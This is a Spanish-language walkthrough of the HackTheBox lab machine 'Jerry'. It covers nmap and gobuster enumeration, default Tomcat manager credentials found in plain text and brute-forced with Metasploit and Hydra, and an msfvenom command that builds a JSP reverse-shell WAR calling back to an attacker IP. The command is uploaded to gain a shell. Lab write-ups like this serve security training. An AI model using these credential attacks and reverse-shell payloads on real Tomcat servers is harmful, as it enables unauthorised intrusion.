machine

Enumeración

Escaneo de puertos:

nmap -p- --open --min-rate 5000 -vvv -sS -n -Pn 10.10.10.95
Completed SYN Stealth Scan at 15:49, 26.59s elapsed (65535 total ports)
Nmap scan report for 10.10.10.95
Host is up, received user-set (0.26s latency).
Scanned at 2024-05-30 15:48:46 -03 for 26s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON
8080/tcp open  http-proxy syn-ack ttl 127

Detectamos versión y servicio de los puertos abiertos:

nmap -sCV -p8080 10.10.10.95
Nmap scan report for 10.10.10.95
Host is up (0.26s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1

Utilizamos whatweb para enumerar qué tecnologías está utilizando:

jerry

Fuzzing de directorios

Si accedemos al sitio http://10.10.1.95:8080/ solo vemos el sitio por default de Apache. Vamos a hacer fuzzing utilizando gobuster para intentar encontrar directorios ocultos usando fuerza bruta:

gobuster dir -u http://10.10.10.95:8080 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

jerry

Accedemos al http://10.10.10.95:8080/manager/ y nos pide credenciales. Probamos con admin / admin, ya que son las credenciales por default, pero obtenemos un 403 Access Denied. De todas formas, en el mismo output vemos en texto claro los siguientes valores:

Username: tomcat
Password: s3cret

jerry

Si volvemos a ingresar a http://10.10.10.95:8080/manager/ y proporcionamos estas credenciales, estamos dentro del Gestor de Aplicaciones Web de Tomcat.

Fuerza bruta de credenciales

Otra forma de obtener las credenciales es utilizando fuerza bruta.

Con Metasploit

Podemos usar el módulo /auxiliary/scanner/http/tomcat_mgr_login:

jerry

Con Hydra

hydra -C /usr/share/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html

jerry

Intrusión

Vemos que podemos subir archivos WAR:

jerry

Por lo que vamos a generar un payload con msfvenom que nos de una Reverse Shell y vamos a intentar subirlo:

msfvenom -p java/jsp_shell_reverse_tcp -f war LHOST=10.10.14.102 LPORT=443 -o shell.war

jerry

Luego lo subimos:

jerry

Nos quedamos a la escucha con netcat. Al ejecutar el archivo que subimos (haciendo click en /shell), obtenemos la Reverse Shell:

jerry

Desde aquí ya podemos ver ambas flags:

jerry

Para realizar la explotación con Metasploit podríamos utilizar el módulo exploit/multi/http/tomcat_mgr_upload.


Published

Category

HTB

Tags